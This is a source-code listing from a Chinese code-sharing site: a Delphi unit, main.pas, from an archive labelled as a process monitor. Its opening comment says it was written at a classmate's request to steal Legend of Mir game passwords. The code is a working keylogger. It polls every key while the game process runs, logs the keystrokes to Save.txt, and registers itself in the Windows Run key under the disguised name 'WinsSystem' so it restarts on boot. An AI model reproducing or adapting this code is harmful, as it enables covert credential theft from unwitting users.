开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Windows编程 > 控制台编程 > 查看源码
main.pas
资源名称：进程监视.rar　[点击查看]
上传用户：mrkingwuhu
上传日期：2007-05-27
资源大小：185k
文件大小：8k
源码类别：

控制台编程

开发平台：

Delphi

main.pas：源码内容
  1. unit main;
  2. {受同学之邀,要我写个盗传奇密码的程序,以前从没有搞过,不知从何下手知道原理是键盘
  3. 记录这方面的,所以写了个很简单的键盘记录器罢了,并不是什么密码截取器.
  4. (以TEST.EXE为例)本程序是通过几个时钟控件,一个用来监视TEST.EXE进程是否存在,如果
  5. 存在,就马上记录所有键盘操作,别外一个用来监视,TEST.EXE是否退出,如果退出了,就马上
  6. 停止监视.
  7. 有一部份代码是COPY他人的,在此多谢,本程序只是个人爱好写着玩玩儿已
  9. 本个是个菜菜,希望有机会与高手交流.........
  10. QQ:3800151 MAIL:XXXFFF_CN@TOM.COM WEB:WWW.SZPROGRAM.COM}
  11. interface
  13. uses
  14.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  15.   Dialogs, ExtCtrls, StdCtrls, Registry;
  17. type
  18.   Tw_main = class(TForm)
  19.     Timer_keyrec: TTimer;
  20.     Timer_savetxt: TTimer;
  21.     Memo_gettxt: TMemo;
  22.     Timer_thread: TTimer;
  23.     Label_thread: TLabel;
  24.     procedure Timer_keyrecTimer(Sender: TObject);
  25.     procedure Timer_savetxtTimer(Sender: TObject);
  26.     procedure Timer_threadTimer(Sender: TObject);
  27.     procedure FormCreate(Sender: TObject);
  28.   private
  29.     { Private declarations }
  30.   public
  31.     { Public declarations }
  32.   end;
  34. var
  35.   w_main: Tw_main;
  37. implementation
  38. uses public_fun;
  39. var
  40.   F:Textfile;
  41. {$R *.DFM}
  43. //Detect Press Key From any window
  44. procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
  45. var
  46.   i : byte;
  47. begin
  48.   for i:=8 To 222 do
  49.   begin
  50.      if GetAsyncKeyState(i)=-32767 then
  51.       begin
  52.       case i of
  53.       8  : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
  54.       9  : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
  55.       13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
  56.       17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
  57.       27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
  58.       32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
  59.       // Del,Ins,Home,PageUp,PageDown,End
  60.       33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
  61.       34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
  62.       35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
  63.       36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
  64.       //Arrow Up Down Left Right
  65.       37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
  66.       38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
  67.       39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
  68.       40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';
  70.       44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
  71.       45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
  72.       46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
  73.       145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';
  75.       //Number 1234567890 Symbol !@#$%^&*()
  76.       48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
  77.            else Memo_gettxt.text:=Memo_gettxt.text+'0';
  78.       49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
  79.            else Memo_gettxt.text:=Memo_gettxt.text+'1';
  80.       50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
  81.            else Memo_gettxt.text:=Memo_gettxt.text+'2';
  82.       51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
  83.            else Memo_gettxt.text:=Memo_gettxt.text+'3';
  84.       52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
  85.            else Memo_gettxt.text:=Memo_gettxt.text+'4';
  86.       53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
  87.            else Memo_gettxt.text:=Memo_gettxt.text+'5';
  88.       54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
  89.            else Memo_gettxt.text:=Memo_gettxt.text+'6';
  90.       55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
  91.            else Memo_gettxt.text:=Memo_gettxt.text+'7';
  92.       56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
  93.            else Memo_gettxt.text:=Memo_gettxt.text+'8';
  94.       57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
  95.            else Memo_gettxt.text:=Memo_gettxt.text+'9';
  96.       65..90 : // a..z , A..Z
  97.           begin
  98.           if ((GetKeyState(VK_CAPITAL))=1) then
  99.               if GetKeyState(VK_SHIFT)<0 then
  100.                  Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
  101.               else
  102.                  Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  103.           else
  104.               if GetKeyState(VK_SHIFT)<0 then
  105.                   Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  106.               else
  107.                   Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
  108.           end;
  109.       //Win
  110. //      91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
  111. //      92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
  112.       //Numpad
  113.       96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad  0..9
  114.       106:Memo_gettxt.text:=Memo_gettxt.text+'*';
  115.       107:Memo_gettxt.text:=Memo_gettxt.text+'&';
  116.       109:Memo_gettxt.text:=Memo_gettxt.text+'-';
  117.       110:Memo_gettxt.text:=Memo_gettxt.text+'.';
  118.       111:Memo_gettxt.text:=Memo_gettxt.text+'/';
  119.       144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
  121.       112..123: //F1-F12
  122.           Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';
  124.       186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
  125.             else Memo_gettxt.text:=Memo_gettxt.text+';';
  126.       187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
  127.             else Memo_gettxt.text:=Memo_gettxt.text+'=';
  128.       188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
  129.             else Memo_gettxt.text:=Memo_gettxt.text+',';
  130.       189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
  131.             else Memo_gettxt.text:=Memo_gettxt.text+'-';
  132.       190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
  133.             else Memo_gettxt.text:=Memo_gettxt.text+'.';
  134.       191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
  135.             else Memo_gettxt.text:=Memo_gettxt.text+'/';
  136.       192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
  137.             else Memo_gettxt.text:=Memo_gettxt.text+'`';
  138.       219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
  139.             else Memo_gettxt.text:=Memo_gettxt.text+'[';
  140.       220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
  141.             else Memo_gettxt.text:=Memo_gettxt.text+'';
  142.       221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
  143.             else Memo_gettxt.text:=Memo_gettxt.text+']';
  144.       222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
  145.             else Memo_gettxt.text:=Memo_gettxt.text+'''';
  146.       end;
  147.       end;
  148.   end;
  149. end;
  151. procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
  152. begin
  153.   Assignfile(F,'Save.txt');
  154.   if not FileExists('Save.txt') Then
  155.     begin
  156.       Rewrite(F);
  157.       Closefile(F);
  158.     End
  159.   Else
  160.     Assignfile(F,'Save.txt');
  161.     {$I-}
  162.     Append(F);
  163.     {$I+}
  164.   If IOResult<> 0 Then
  165.     Begin
  166.       ShowMessage('Cannot Open File');
  167.     End;
  169.   Write(F,Memo_gettxt.Text);
  170.   Memo_gettxt.Clear;
  171.   Closefile(F);
  172. end;
  174. procedure Tw_main.Timer_threadTimer(Sender: TObject);
  175. begin
  176.   if detecthread('testmir.exe')='exist' then
  177.     begin
  178.       label_thread.Caption:='thread is Exist';
  179.       timer_keyrec.Enabled:=true;
  180.     end
  181.   else
  182.     begin
  183.       label_thread.Caption:='thread is NOTexist';
  184.       timer_keyrec.Enabled:=false;
  185.     end;
  186. end;
  188. procedure Tw_main.FormCreate(Sender: TObject);
  189. var
  190.   regis_mymir:TRegistry;
  191. begin
  192.   regis_mymir:=TRegistry.Create();
  193.   regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
  194.   regis_mymir.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true);
  195.   regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
  196.   regis_mymir.Free;
  197. end;
  199. end.